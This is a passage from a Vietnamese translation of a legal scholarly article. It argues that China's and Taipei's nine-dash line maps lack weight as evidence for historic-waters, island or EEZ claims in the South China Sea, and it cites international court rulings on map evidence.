lịch sử</div> <div> </div> <div> 1. Thực hành Nhà nước (State practice)</div> <div> </div> <div> Mặc dù các khẳng định kiểu này dường như không là nét đặc biệt trong chính sách chính thức của TQ, Đài Bắc có truyền thống ủng hộ lập trường này đối với đường chữ U khá mạnh, như có thể thấy trong một loạt các tuyên bố. Ví dụ, trong năm 1991 tại một trong những Hội thảo về Biển Đông, một đại diện Văn phòng Kinh tế và Thương mại Đài Bắc ở Jakarta (Indonesia) tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước thuộc thẩm quyền của THDQ. THDQ có quyền và đặc quyền trong Biển Đông. Bất kỳ hoạt động nào trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. [25]</div> <div> </div> <div> Hướng dẫn Chính sách cho Biển Đông năm 1993 (chuẩn nhận bởi Bộ trưởng Hành Chánh) lưu ý rằng:</div> <div> </div> <div> Trên cơ sở lịch sử, địa lý, luật pháp quốc tế, và nhiều sự kiện, quần đảo Trường Sa, quần đảo Hoàng Sa, bãi cạn Macclesfield, và quần đảo Pratas luôn là phần lãnh thổ cố hữu của THDQ. Chủ quyền của nước THDQ đối với chúng không còn chút nghi ngờ nào. Khu vực Biển Đông trong ranh giới vùng nước lịch sử là khu vực biển thuộc thẩm quyền của nước THDQ, THDQ sở hữu tất cả các quyền và lợi ích trong đó. [26]</div> <div> </div> <div> Trong năm 1994, Bộ trưởng Bộ Hành Chánh, Trương Kim Ngọc (Chang King-yu), nói rằng “các vùng biển được bao bọc bởi đường chữ U ở Biển Đông là vùng nước lịch sử của chúng ta và THDQ được hưởng tất cả các quyền trong đó” (nhấn mạnh thêm). [27]</div> <div> </div> <div> Chính sách của Đài Bắc được suy luận xa hơn từ các phản đối đã thực hiện chống lại cách ứng xử của các nước ven biển trong khu vực. Đáp trả với việc Malaysia chiếm đóng hai thể địa lý tại quần đảo Trường Sa và việc Philippines quyết địnhsáp nhập bãi cát ngầm Scarborough trên bản đồ của họ, Đài Bắc tuyên bố:</div> <div> </div> <div> Biển Đông là một vùng nước của THDQ. THDQ có tất cả các quyền và đặc quyền trong vùng Biển Đông. Bất kỳ hoạt động nào (kể cả việc thảo luận về hợp tác chung hoặc Quy tắc ứng xử, vv) trong Biển Đông phải có sự chấp thuận của Chính phủ THDQ. (nhấn mạnh thêm) [28]</div> <div> </div> <div> Một số chuyên gia đã cóp nhặt nhiều lập luận pháp lý cho tuyên bố mong manh này. [29] Ví dụ, Triệu Quốc Tài (Guocai Zhao) nhận xét:</div> <div> </div> <div> TQ sở hữu quyền lịch sử các hòn đảo, đá ngầm, bãi cát ngầm, các bãi cạn, và các vùng nước trong đường 9 chấm. Biển Đông được coi là vùng nước lịch sử của TQ, điều đó được thừa nhận phổ quát vào thời điểm đó. Cho đến nay điều này đã kéo dài nửa thế kỷ. [30]</div> <div> </div> <div> 2. Phân tích pháp lý</div> <div> </div> <div> Việc xem xét các bài viết học thuật về các tuyên bố lịch sử liên quan đến các khu vực biển làm phát sinh rất nhiều nhầm lẫn về thuật ngữ. Các khái niệm thích hợp như quyền lịch sử / sở hữu lịch sử, các vùng nước lịch sử, và vịnh lịch sử không dễ dàng phân biệt và làm sáng tỏ. [31] Để tránh việc tìm hiểu kéo dài không cần thiết và phần nào thừa thãi về sự khác biệt giữa các quyền lịch sử và sở hữu lịch sử, chỉ cần nói rằng “quyền lịch sử” là chủng (genus) mà theo đó người ta có thể đặt các loại (species) “vùng nước lịch sử” vào. Tương tự, “vịnh lịch sử” là một loại “vùng nước lịch sử”. [32] Trong bối cảnh của đường 9 chấm, cách ứng xử của Đài Bắc dường như bao hàm sự công nhận các vùng nước lịch sử liên quan đến một phần chủ yếu của Biển Đông.</div> <div> </div> <div> Không có định nghĩa được chấp nhận rộng rãi về các vùng nước lịch sử, nhưng theo cách hiểu rộng rãi, nó biểu thị các quyền dành cho một nước ven biển đối với một hoặc nhiều khu vực biển mà nước đó bình thường sẽ không được hưởng. Phạm vi các quyền đi cùng với vùng nước lịch sử có thể khác nhau đáng kể. Các điều kiện pháp lý cho việc thụ đắc các vùng nước lịch sử đã được xem xét trong một nghiên cứu năm 1962 do Văn phòng Ban thư ký Liên Hợp Quốc của Vụ Pháp chế (OLA) thực hiện theo yêu cầu của Uỷ ban pháp luật quốc tế. [33] Theo quan điểm của OLA:</div> <div> </div> <div> Có vẻ có một sự nhất trí chung nhất rằng khi xác định liệu một nước có quyền sở hữu lịch sử đối với một khu vực biển hay không phải xem xét tới ít nhất ba yếu tố. Những yếu tố này là: (1) việc thực thi thẩm quyền của nước yêu sách quyền lịch sử đối với khu vực đó (2) tính liên tục của việc thực thi thẩm quyền (3) thái độ của các nước khác. [34]</div> <div> </div> <div> Đài Bắc lẫn TQ đều không đáp ứng các tiêu chí này cho vấn đề đó. Điều kiện (1) và (2) đòi hỏi nước có yêu sách phải thực thi thẩm quyền thông qua các hành vi thể hiện chủ quyền ở mức đủ thường xuyên và có hiệu quả. Liên quan tới khu vực họ yêu sách, việc thể hiện thẩm quyền của họ cùng lắm chỉ có thể nói là ở mức không thường xuyên. Việc tự do đánh bắt và đi lại của các nước khác vẫn không bị cản trở. [35] Do đó, không yêu sách lịch sử nào có thể thực hiện ở đây. Các đòi hỏi lý thuyết cần để thoả mãn điều kiện (3) là không chắc chắn. Về cơ bản, việc thảo luận xoay quanh vấn đề liệu các nước khác có cần phải ngầm bằng lòng với việc thực hiện chủ quyền của TQ trên Biển Đông hay liệu việc họ không có bất kỳ phản ứng nào là đủ hay không. [36] Nhưng dù theo quan điểm nào, cả hai dường như đều đồng ý rằng sự phản đối của các nước khác có thể ngăn chặn việc thực thi chủ quyền hòa bình và liên tục, và điều này đích xác là những gì đã xảy ra đối với Biển Đông (xem phần IV-B).</div> <div> </div> <div> Một số người đã vặn lại rằng tuyên bố phải được xem xét dưới ánh sáng của các quy tắc luật quốc tế đã tồn tại khi bản đồ đường chữ U được vẽ ra, tức là năm 1946 (cái gọi là học thuyết của luật liên thời gian [intertemporal law]). [37] Điều này là khá khác thường, vì cách tiếp cận này chỉ làm yếu thêm một luận điểm vốn đã không thuyết phục. Vào thời điểm đó, bề rộng của lãnh hải hợp pháp chỉ là 3 hải lý, khiến cho các yêu sách lịch sử càng thêm quá đáng hơn. [38] Với thực tế rằng các vùng nước lịch sử thường liên quan đến vịnh hoặc một dải lãnh hải, [39] do đó không có gì ngạc nhiên khi nhận thấy một chuyên luận gần đây về vùng nước lịch sử không thấy cần thiết để đề cập tới yêu sách lịch sử của đường 9 chấm. [40] Hơn nữa, ngay cả khi vì mục đích lập luận người ta nhắm tới giả thuyết cho rằng TQ có thể thực hiện một yêu sách lịch sử lớn chưa từng có (cái không có –quod non) thì cũng nên nhớ rằng các yêu sách lịch sử không tạo ra một chế độ liên quan tới mọi nước (erga omnes), mà là phụ thuộc vào sự công nhận tường minh hay hàm ý trên tầm mức quốc gia như một tác giả mới đây đã nhấn mạnh. [41]</div> <div> </div> <div> Một lưu ý cuối cùng, việc sử dụng cách gọi “Biển Nam Trung Hoa" không có ý trao chủ quyền lịch sử cho TQ. [42] Theo luật pháp quốc tế, việc đặt tên đơn thuần một khu vực không thiết lập chủ quyền đối với khu vực đó. [43] Tên này đã bị các quốc gia có liên quan phản đối mạnh mẽ, trong đó có Việt Nam. [44] Bản đồ nước ngoài dùng tên Biển Nam Trung Hoa chỉ đơn giản là để phù hợp với cách gọi tên do Tổ chức Thủy văn Quốc tế về Ranh giới các Đại dương và biển công bố (1953), cách gọi tên đó “không có bất kỳ ý nghĩa chính trị nào”. [45] Vì thế việc lựa chọn từ ngữ này về phần các nước phương Tây không có hàm ý nhìn nhận chủ quyền của TQ. Ngoài ra, về mặt lịch sử người TQ cũng dùng nhiều tên gọi khác nhau cho vùng biển này như là “Biển Giao Chỉ” (đời Tống và Minh) và “Biển Nam” (đời Thanh (1905), THDQ (1913) và CHNDTH (1952 và 1975)). [46]</div> <div> </div> <div> 3. Những diễn biến mới</div> <div> </div> <div> Những diễn biến gần đây có thể làm cho sự thảo luận dễ dàng hơn. Thật vậy, rất có thể là Đài Bắc đang từ bỏ luận điểm lâu dài của họ. Các tuyên bố trong những năm gần đây gợi cho thấy một sự thay đổi trong quan điểm của họ, đưa chính sách của Đài Loan về vấn đề này cùng hướng với chính sách của TQ. Việc đề cập tới quyền / vùng nước lịch sử vắng đi trong khi trọng tâm dường như là chủ quyền lãnh thổ đối với các đảo và lãnh hải của chúng. [47] Ví dụ gần đây nhất là tuyên bố hồi tháng 5 năm 2009 phản đối các hồ sơ củaViệt Nam và Malaysia - Việt Nam gửi cho CLCS:</div> <div> </div> <div> Chính phủ THDQ nhắc lại rằng quần đảo Điếu Ngư Đài (Diaoyutai), quần đảo Nam Sa (Trường Sa), quần đảo Tây Sa (quần đảo Hoàng Sa), quần đảo Trung Sa (Macclesfield) và quần đảo Đông Sa (Pratas Islands) cũng như các vùng biển xung quanh là cácvùng lãnh thổ và các vùng biển cố hữu của THDQ dựa trên các quyền sở hữu chủ quyền không thể chối cãi biện minh bằng các cơ sở lịch sử, địa lý và luật quốc tế. Theo luật quốc tế, THDQ được hưởng tất cả các quyền và lợi ích đối với các quần đảo nói trên, cũng như các vùng biển xung quanh và đáy biển và lòng đất dưới đáy của chúng. [48]</div> <div> </div> <div> B. Các yêu sách đảo</div> <div> </div> <div> 1. Cách giải thích 1: Tất cả các thể địa lý trong đường chữ-U là lãnh thổ Đài Bắc/TQ</div> <div> </div> <div> Người đề xuất trước nhất cách giải thích yêu sách lãnh thổ này, nhà ngoại giao Indonesia Hasji Djalal, trong khi thừa nhận tính chất “khó hiểu" của đường chữ U, đã nêu các tìm hiểu của mình dựa trên việc phân tích cẩn thận các tuyên bố của TQ, đặc biệt là những tuyên bố hình thành trong cuộc họp của Tổ chức Hàng không dân dụng (ICAO) quốc tế năm 1979. [49]</div> <div> </div> <div> Smith ghi nhận rằng các thể địa lý giữa đại dương nằm bên trong “các vạch phân bổ này” là những thể địa lý mà TQ tuyên bố chủ quyền. Ông nhấn mạnh rằng các dấu vạch này không gợi ra bất kỳ yêu sách ranh giới biển nào và sẽ không có chút tác động nào đối với việc giải quyết tranh chấp biên giới biển. [50]</div> <div> </div> <div> Dzurek cũng tin tưởng rằng đường chữ U không phân ranh các biên giới thuộc thẩm quyền trên biển của TQ, với việc tin tưởng này dựa trên một lập luận về bản đồ học, cụ thể là, sự kiện rằng các dấu vạch chia cắt Malaysia và quần đảo Natuna đi chệch khỏi đường phân giới thềm lục địa Indonesia-Malaysia đã thoả thuận. [51]</div> <div> </div> <div> Như đã nói ở trên, việc thực hành nhà nước hiện nay của Đài Bắc dường như chứng minh một sự chuyển đổi về phía vị thế này.</div> <div> </div> <div> Câu hỏi tinh tế về các đảo trong Biển Đông thuộc nước nào, đòi hỏi phải phân tích nghiêm ngặt một ma trận sự kiện phức tạp và ứng dụng các khái niệm pháp lý đa dạng (chẳng hạn như phát hiện, ngày tới hạn [ngày mà các hành động của các bên liên quan thực hiện sau ngày đó sẽ không được toà xét đến-ND] , và tính hiệu quả), sẽ đưa chúng ta quá xa khỏi chủ đề hiện tại. [52] Với điều này trong trí, có lẽ thích hợp để nhấn mạnh ở đây rằng bản đồ TQ không thể tạo thành một quyền sở hữu lãnh thổ hợp lệ đối với các đảo cho từng bản đồ. Trong vụ Burkina Faso / Mali, Tòa Công lý Quốc tế (ICJ) đưa ra lời giải thích “dứt khoát”[53] về giá trị chứng cứ của bằng chứng bản đồ:</div> <div> </div> <div> Các bản đồ chỉ đơn thuần tạo thành thông tin, chúng thay đổi về tính chính xác theo từng trường hợp; và bằng sự tồn tại của một mình chúng, chúng không có thể tạo thành một quyền sở hữu lãnh thổ, nghĩa là, một tài liệu được luật quốc tế phú cho hiệu lực pháp lý nội tại cho mục đích xác lập các quyền lãnh thổ. Tất nhiên, trong một số trường hợp, bản đồ có thể có được hiệu lực pháp luật như vậy, nhưng trong những trường hợp như thế hiệu lực pháp luật không phát sinh duy nhất từ giá trị nội tại của chúng mà chính vì do bản đồ đó thuộc về loại biểu hiện vật lý về ý muốn của một nước hoặc các nước có liên quan. Ví dụ, trường hợp khi các bản đồ được kèm theo một văn bản chính thức mà chúng là một phần không thể thiếu. Ngoại trừ trường hợp xác định rõ ràng này, các bản đồ chỉ là bằng chứng bên ngoài có độ tin cậy khác nhau hay không đáng tin cậy, chúng có thể được sử dụng, cùng với các bằng chứng khác loại gián tiếp, để thiết lập hoặc tái thiết lại các sự kiện thật. [54]</div> <div> </div> <div> Ý kiến nhân tiện (obiter dictum) này đã được trích dẫn một cách đồng tình trong một loạt các trường hợp tranh cãi. [55] Một số người đã đọc đoạn văn này như một bác bỏ “dứt khoát” đối với khái niệm về quyền sở hữu theo bản đồ. [56] Trong mọi trường hợp, Tòa án dường như còn để mở một cửa sổ nhỏ[57] (“các bản đồ … kèm theo một văn bản chính thức mà chúng tạo thành một phần không thể thiếu'”) đề cập đến nhưng công cụ như các hiệp ước[58] và do đó không áp dụng được trong trường hợp này.</div> <div> </div> <div> 2. Cách giải thích 2: Đường chữ U là đường ranh giới của vùng đặc quyền kinh tế (EEZ) được tạo ra từ các đảo ở Biển Đông</div> <div> </div> <div> Một số học giả TQ dường như ủng hộ thuyết này, mặc dù lý luận của họ hơi khác nhau và thường liên kết với thuyết các quyền / vùng biển lịch sử. Triệu Lý Hải (Zhao Lihai) viết:</div> <div> </div> <div> Đường chín chấm chỉ rõ lãnh thổ và chủ quyền của TQ về bốn quần đảo trong Biển Đông và khẳng định ranh giới biển của các đảo của TQ ở Biển Đông mà các đảo này đã được bao gồm trong phạm vi TQ ít nhất từ thế kỷ 15. Tất cả các hải đảo và các vùng nước lân cận trong đường biên giới phải thuộc thẩm quyền và kiểm soát của TQ.[59]</div> <div> </div> <div> Kiều Vĩnh Khoa (Jiao Yongke) nêu:</div> <div> </div> <div> Các khu vực nước bên trong đường biên giới ở Biển Đông của TQ tạo thành các vùng nước mà TQ có quyền sở hữu lịch sử đối với chúng, chúngtạo thành vùng đặc quyền kinh tế đặc biệt, hay vùng đặc quyền kinh tế lịch sử của TQ, do đó phải có địa vị tương tự như vùng đặc quyền kinh tế theo các quy định của UNCLOS [Công ước LHQ về Luật Biển]. [60]</div> <div> </div> <div> Cuối cùng, Trâu Khoa Uyển (Zou Keyuan) tin rằng TQ đã khẳng định một tuyên bố lịch sử, nhưng tuyên bố này là “tương đương với tình trạng pháp lý của vùng đặc quyền kinh tế hay thềm lục địa”. [61]</div> <div> </div> <div> Cách giải thích thứ hai này về các vạch liên tục là phụ thuộc hoàn toàn vào cách đầu tiên. Nó suy từ nguyên tắc “đất thống trị biển” mà cách tiếp cận này nhất thiết phải dựa trên tiền đề là TQ có chủ quyền đối với các thể địa lý ở Biển Đông. [62] Những người ủng hộ thuyết này xem đường chữ U như một ranh giới trên biển nối các ranh giới của vùng đặc quyền kinh tế hoặc thềm lục địa phát sinh từ các đảo. Một loạt các câu hỏi nẩy lên. Vấn đề gai góc đầu tiên liên quan đến việc phân định vùng biển đó. Suy cho cùng, một nước ven biển không thể chỉ đơn giản áp đặt việc phân giới lên các nước khác một cách đơn phương. Sự hợp lệ của hành động như vậy sẽ phụ thuộc vào sự tuân thủ các chuẩn mực luật pháp quốc tế. [63]</div> <div> </div> <div> Hơn nữa, còn có vấn đề là các thể địa lý biển có thể tạo ra các khu vực biển (bất chấp ai là chủ sở hữu hợp pháp) hay không? Tất cả phụ thuộc vào việc thể địa lý đó có hội đủ điều kiện là đảo theo nghĩa pháp lý hay không. Công ước 1982[64] có chứa một điều khoản cho mục đích này, Điều 121, nêu như sau:</div> <div> </div> <div> 1. Một hòn đảo là một khu đất hình thành tự nhiên, bao quanh bởi nước, nằm bên trên mặt nước khi triều cao.</div> <div> </div> <div> 2. Ngoại trừ như quy định tại mục 3, lãnh hải, vùng tiếp giáp, vùng đặc quyền kinh tế và thềm lục địa của một đảo được xác định theo quy định của Công ước này áp dụng cho lãnh thổ đất liền khác.</div> <div> </div> <div> 3. Đá không thể duy trì sự cư trú của con người hay có đời sống kinh tế của riêng mình sẽ không có vùng đặc quyền kinh tế hay thềm lục địa. [65]</div> <div> </div> <div> Do đó, các bề mặt có đất trong vùng Biển Đông sẽ tạo ra thêm các vùng đặc quyền kinh tế (và thềm lục địa) nếu chúng đáp ứng các yêu cầu nghiêm ngặt nêu trên. [66] Do đó, tính chất đảo của một loạt các tính năng hàng hải tại Biển Đông đã bị rơi vào nghi vấn. Oude Elferink thận trọng nêu rằng “ít ra có một số đảo trong Biển Đông có vùng đặc quyền kinh tế và thềm lục địa. Các thể địa lý có tính đảo khác gần như chắc chắn có thể được coi là rơi vào vòng khống chế của Điều 121 (3) [đá].” [67] Nếu biết ra rằng những bề mặt đất đó không phải là đảo, (ít nhất là một phần) thì cách giải thích vùng đặc quyền kinh tế hay thềm lục địa của đường chữ U là không có giá trị pháp lý.</div> <div> </div> <div> Về mặt này, rất đáng để đề cập ngắn gọn đến các bước do TQ mới thực hiện ở cấp độ quốc tế ủng hộ di sản chung của loài người bằng cách cố gắng bảo vệ khu vực này chống lại sự xâm nhập không chính đáng của một vài nước. [68] Về thực chất, các can thiệp này nhằm mục đích chống lại đệ trình của Nhật Bản cho CLCS vể đảo Okinotorishima ở Thái Bình Dương. [69] Tuy nhiên, hành động này ngay lập tức bị phản ứng ngược đối với Biển Đông, Indonesia đã chất vấn đường 9 chấm của TQ ngay chính trên cơ sở của các cơ quan đại diện của đất nước này nêu ra trước cuộc họp của các nước thành viên năm 2009 cũng như trước Cơ quan quốc tế đáy biển, đó là, các mỏm đá không thể duy trì sự cư trú của con người, đời sống kinh tế riêng không tạo ra một vùng đặc quyền kinh tế hay thềm lục địa.[70]</div> <div> </div> <div> Dù các diễn biến có thể thú vị như thế nào, điều bắt buộc này, mà đúng hơn là việc điều tra nặng thực tế và kỹ thuật về tình trạng pháp lý chính xác của các thể địa lý khác nhau ở Biển Đông theo Điều 121 (3) của Công ước năm 1982 vượt quá xa phạm vi nghiên cứu của chúng tôi.</div> <div> </div> <div> III. CÁC YẾU TỐ LÀM SUY YẾU SỨC MẠNH CHỨNG MINH CỦA BẢN ĐỒ</div> <div> </div> <div> Theo một quy tắc đã được ghi nhận, [71] các thẩm phán quốc tế được hưởng sự tự do đặc biệt rộng rãi trong việc xác định trọng lượng của tài liệu chứng cứ. [72] Cảnh giác về quyền tự do theo nguyên tắc này, chúng tôi đã xem xét các tiền lệ[73] liên quan đến bản đồ để suy ra các yếu tố[74] thường được thẩm phán hoặc trọng tài sử dụng để đánh giá hiệu lực chứng minh của bằng chứng bản đồ. Cần nhấn mạnh rằng trong khi làm như vậy, chúng tôi dựa vào các tiền lệ liên quan cho đất liền lẫn trên biển không phân biệt. Mặc dù đúng là các nguyên tắc quy định việc thụ đắc những vùng biển và phân giới biển khác biệt đáng kể so với những quy tắc làm cơ sở cho việc thụ đắc và phân giới lãnh thổ, [75] câu hỏi cốt yếu này (chế độ pháp luật áp dụng được) là tách biệt với câu hỏi về bằng chứng (các bản đồ). Hơn nữa, học thuyết dường như không có sự phân biệt có ý nghĩa giữa bản đồ đất liền và bản đồ biển trong việc phân loại các quy tắc bằng chứng, và ICJ đã trích dẫn các quy tắc pháp lý bổ sung trong các vụ trên đất liền khi đánh giá các bản đồ do các bên tham gia tranh chấp nộp vào có chứa một yếu tố liên quan đến biển. [76]</div> <div> </div> <div> Các yếu tố sau đây chứng tỏ sự thiếu sót về chứng cứ vốn có của đường 9-chấm của TQ.</div> <div> </div> <div> A. Cách tiếp cận thận trọng với chứng cứ bản đồ</div> <div> </div> <div> Như một quan sát bước đầu, cần chỉ ra rằng xu hướng chung là các tòa và các toà án quốc tế không đưa ra các phán quyết chỉ đơn thuần dựa trên các kết luận về bản đồ. [77] Mặc dù những bản đồ chính xác phản ánh ý định của các bên có thể thực sự tạo thành “một cơ sở vững chắc và liên tục cho việc thảo luận” sự vắng mặt của chúng “là một sự bất tiện đáng tiếc”', [78] chúng thường sẽ đóng vai trò phụ trong việc làm vững thêm bằng chứng khác cùng chỉ về một hướng. [79] Trở lại với quyết định cho vụ Burkina Faso / Cộng hòa Mali:</div> <div> </div> <div> Các bản đồ vẫn không thể có giá trị pháp lý hơn so là giá trị của bằng chứng củng cố trong việc chuẩn nhận một kết luận mà một tòa án đi đến bằng các phương tiện khác không dính dáng tới các bản đồ, trừ khi các bản đồ thuộc loại biểu hiện vật lý ý muốn của Nhà nước, tự chúng không thể được xem như là bằng chứng về một đường biên giới, vì trong trường hợp đó chúng sẽ hình thành một giả định không thể bác bỏ, thật sự đồng nghĩa với quyền sở hữu pháp lý. Giá trị duy nhất mà chúng có là bằng chứng thuộc loại phụ hoặc khẳng định thêm, và điều này cũng có nghĩa rằng chúng không thể được gán cho đặc tính của một giả định không thể bác bỏ (juris tantum) như là để thực hiện một sự đảo ngược trách nhiệm chứng minh. [80]</div> <div> </div> <div> Lập trường thận trọng này đã được phát hiện và ghi nhận theo ý kiến của học giả có thẩm quyền, [81] và trong một số trường hợp đã được sự chấp thuận đáng kể. [82]</div> <div> </div> <div> B. Các bản đồ không tương thích nhau</div> <div> </div> <div> Khi trình bày các khẳng định mâu thuẫn lẫn nhau, sắp xếp các sự kiện cho chỉnh trang đòi hỏi cố gắng lớn. [83] Khá tương tự như vậy, khi các tài liệu bản đồ mâu thuẫn với nhau, chúng sẽ mất đi sự tin cậy. [84] Như ICJ đã nêu trong trường hợp Kasikili / Sedudu:</div> <div> </div> <div> “dưới ánh sáng của sự không chắc chắn và không thống nhất của tài liệu bản đồ được đệ trình, Tòa tự thấy mình không thể rút ra kết luận từ những bằng chứng bản đồ đưa ra trong trường hợp này.” [85]</div> <div> </div> <div> Các bản đồ với đường 9-chấm vẽ ra một hình ảnh Biển Đông khác biệt với bằng chứng bản đồ và các tài liệu khác của các nước ven biển trong khu vực. Sẽ khó khăn để đạt được một sự hiểu biết chính xác ranh giới biển và chính trị chỉ dựa trên việc đặt các bản đồ kế bên nhau. Ngoài ra, các điều mà đường chữ U thể hiện cũng không nhất quán. Như đã đề cập ở trên, đường chữ U trong bản đồ ở TQ trước năm 1953 bình thường gồm có 11 vạch, [86] trong khi các phiên bản sau này của đường nhiều chấm chỉ gồm 9 đoạn. Một bản đồ điện tử trực tuyến gần đây của Cục Khảo sát và Bản đồ Nhà nước TQ ngày 21 tháng 10 năm 2010 lại thêm một đoạn nữa vào phía Bắc giữa Đài Loan và nhóm Ryukyu, trong đó có đảo Yonaguni là hòn đảo ở cực tây, tất cả đều thuộc về Nhật Bản. [87] Không có lý do nào được đưa ra cho việc loại bỏ bí ẩn hai vạch trong quá khứ hay việc thêm vào vạch thứ 10 mới gần đây. [88]</div> <div> </div> <div> C. Ký hiệu bản đồ rời rạc / nhập nhằng</div> <div> </div> <div> Bản đồ không rõ ràng đã xuất hiện trong các tố tụng qua trọng tài trong quá khứ. Trong vụ Trọng tài Eritrea / Yemen, Eritrea đã nộp các bản đồ mô tả một đường chấm chấm hỗ trợ yêu sách của mình. Tòa án đưa ra một tuyên bố ngắn về phương pháp chứng cứ của bên liên quan:</div> <div> </div> <div> Trong một số trường hợp Tòa án có thể không đồng ý với các đặc tính của các bản đồ mà bên đưa ra mong muốn. Hơn nữa, nếu không có chỉ dẫn cụ thể từ chính bản đồ, Tòa án không muốn gán ý nghĩa cho các đường chấm thay cho màu sắc hoặc thay cho việc ghi địa danh trên bản đồ. Các kết luận trên cơ sở này do Eritrea thúc hối liên quan tới một số bản đồ của họ không được chấp nhận. [89]</div> <div> </div> <div> Đương nhiên,có sự tương tự của trường hợp này với đường chữ U, sự thiếu vắng một chú giải (legend), và lời lẽ bí ẩn chứa trong công hàm của TQ gửi Tổng thư ký LHQ đã soạn sẵn. Sự lúng túng càng lớn hơn bởi vì cách mô tả của đường 9-chấm sai lệch với các tiêu chuẩn vẽ bản đồ quốc tế được Tổ chức Thủy văn Quốc tế đề ra đích xác cho mục đích về tính rõ ràng. [90] Cần nhớ rằng TQ là một thành viên của tổ chức quốc tế này. [91]</div> <div> </div> <div> D. Ý định không rõ ràng</div> <div> </div> <div> Như Thẩm phán Oda đã chỉ ra một cách đúng đắn trong ý kiến riêng của ông trong vụ Kasikili / Sedudu, “một tuyên bố lãnh thổ chỉ có thể được thực hiện với dấu hiệu rõ ràng về ý định của chính phủ, dấu hiệu đó có thể được phản ánh trong các bản đồ. Một bản đồ tự nó, nếu không có bằng chứng hỗ trợ khác thì không thể biện minh cho một tuyên bố chính trị” (nhấn mạnh thêm). [92] Trong trường hợp này (in casu) tiêu chí về ý định rõ rệt về phía chính phủ TQ không được đáp ứng một cách thoả đáng. Sự đa dạng về cách giải thích đường chữ U do các học giả luật học đưa ra cũng như công hàm mơ hồ của TQ đề ngày7 tháng 5 năm 2009 là chứng cứ cho kết luận này. Bên cạnh các cấu trúc câu khó hiểu, các từ ngữ được sử dụng trong công hàm, cụ thể là “vùng biển có liên quan” và “vùng biển tiếp giáp” là đặc biệt khó hiểu vì chúng không xuất hiện bất cứ chỗ nào trong UNCLOS. Sự mơ hồ có vẻ như cố tình làm trầm trọng thêm, vì TQ vẫn chưa thông qua luật tạo cho đường chữ U bất kỳ hiệu lực trong trật tự luật pháp trong nước. [93] Ngay cả khi người ta có thể bới ra các ý định đằng sau bản đồ này, ý nghĩa pháp lý của chúng không nên được đánh giá cao. Trở lại bài viết nói trên của Thẩm phán Oda:</div> <div> </div> <div> Một bản đồ được sản xuất bởi một cơ quan chính phủ có liên quan đôi khi có thể chỉ ra vị thế của chính phủ liên hệ đến lãnh thổ hay chủ quyền của một khu vực cụ thể hay đảo. Tuy nhiên, một mình sự kiện đó không có tính quyết định về tư cách pháp lý của khu vực hay đảo đang có vấn đề. Đường ranh giới trên những bản đồ như vậy có thể được hiểu như là thể hiện cho yêu sách tối đa của nước có liên quan, nhưng không nhất thiết biện minh cho yêu sách đó. [94]</div> <div> </div> <div> E. Thiếu tính trung lập</div> <div> </div> <div> Khi bản đồ được vẽ lên bởi một chuyên gia khách quan, giá trị chứng minh của nó có xu hướng tăng lên. [95] Trái lại, các tài liệu bản đồ được sản xuất theo chỉ thị của một trong các bên tranh chấp sẽ được xét với sự nghi ngờ nhiều hơn, và do đó sự phụ thuộc vào tài liệu như vậy chỉ là ngoại lệ không phải là quy tắc. [96] Các trọng tài trong vụ Trọng tài kênh Beagle nhận xét như sau:</div> <div> </div> <div> Trong khi các bản đồ đến từ các nguồn khác hơn những bản đồ của các bên không thuộc vụ đó được coi là nhất thiết phải chính xác hơn hoặc khách quan hơn, trước nhất (prima facie) chúng có tình trạng độc lập, điều này có thể tạo cho chúng giá trị lớn trừ khi chúng chỉ là các bản sao chép của - hoặc dựa trên bản gốc xuất phát từ - các bản đồ do một trong các bên vẽ ra, hoặc giả được xuất bản trong một nước có liên quan, hoặc thay mặt cho, hoặc theo yêu cầu của một Bên, hoặc rõ ràng có động cơ chính trị. Nhưng chỗ nào mà tư cách độc lập của chúng không để lộ cho việc nghi ngờ về một hoặc các cơ sở nêu trên, chúng có ý nghĩa tương đối cho việc giải quyết tranh chấp lãnh thổ liên hệ trong đó chúng cho thấy sự tồn tại của một sự hiểu biết chung theo một nghĩa nào đó, như về cách giải quyết đó là gì, hoặc, chúng mâu thuẫn ở đâu, sự thiếu vắng của bất kỳ sự hiểu biết chung như vậy. [97]</div> <div> </div> <div> Việc thiếu tính trung lập là rõ rành rành đối với đường 9 chấm. Như đã thảo luận trong phần II-A, lịch sử của đường chữ U có thể được truy ngược về một ủy ban nội bộ do chính phủ Trung Hoa Dân Quốc thành lập để cập nhật các bản đồ TQ và tái khẳng định vị thế của họ. Một cơ quan chính phủ được thành lập và phân bổ nhân viên đơn phương như thế khó có thể được coi là khách quan đối với các nước có liên quan khác trong khu vực Biển Đông. Không nên quên rằng các nhà vẽ bản đồ có lương tâm vẫn có thể bị sử dụng cho các mục đích lừa đảo:</div> <div> </div> <div> Một nhà làm bản đồ … có thể được sử dụng để biểu lộ khẳng định của một nước cụ thể như nước của chính ông ta về kích cỡ đầy đủ miền lãnh thổ của nước đó là gì, bất kể tính đúng đắn của khẳng định này và không có việc doạ dẫm rằng việc vẽ đó mô tả phạm vi của một yêu sách chứ không phải là vị trí của một ranh giới được chấp nhận. Qua việc sao chép tiếp theo và việc vẽ lại của các nhà làm bản đồ thiếu phối kiểm không những các sai sót tiếp tục tồn tại mà sự kiện về việc lặp lại có xu hướng chuyển cho chúng sự thừa nhận pháp lý qua việc in ra một số lượng lớn bản đồ thống nhất với lời khai của họ. [98]</div> <div> </div> <div> F. Không chính xác về kỹ thuật</div> <div> </div> <div> Trong tiểu luận về giá trị chứng cứ của bản đồ, De Visscher đưa ra các tiêu chuẩn sau đây: “những bảo đảm về tính chính xác nội tại của bản đồ … sự chính xác liên quan tới các điểm đang tranh chấp”. [99] Theo Brownlie, "giá trị chứng minh mà một bản đồ có tương ứng với chất lượng kỹ thuật của nó”.[100] Luật về án lệ cũng chỉ ra đòi hỏi độ chính xác kỹ thuật trong bản đồ. [101] Trong vụ đảo Palmas, trọng tài duy nhất Max Huber đã viết rằng: “điều kiện đầu tiên đòi hỏi của các bản đồ phục vụ với tư cách là bằng chứng đối với những điểm pháp lý là độ chính xác địa lý của chúng.” [102]</div> <div> </div> <div> ICJ phát biểu rằng:</div> <div> </div> <div> Trọng lượng thực tế được phân cho các bản đồ đem làm bằng chứng phụ thuộc vào một loạt các cân nhắc. Một số trong các cân nhắc này liên quan đến độ tin cậy kỹ thuật của các bản đồ. Điều này đã nâng lên đáng kể, đặc biệt là do những tiến bộ đạt được qua không ảnh và ảnh vệ tinh từ những năm 1950. Nhưng kết quả chỉ mang tới tính chất trung thực hơn cho bản đồ và sự 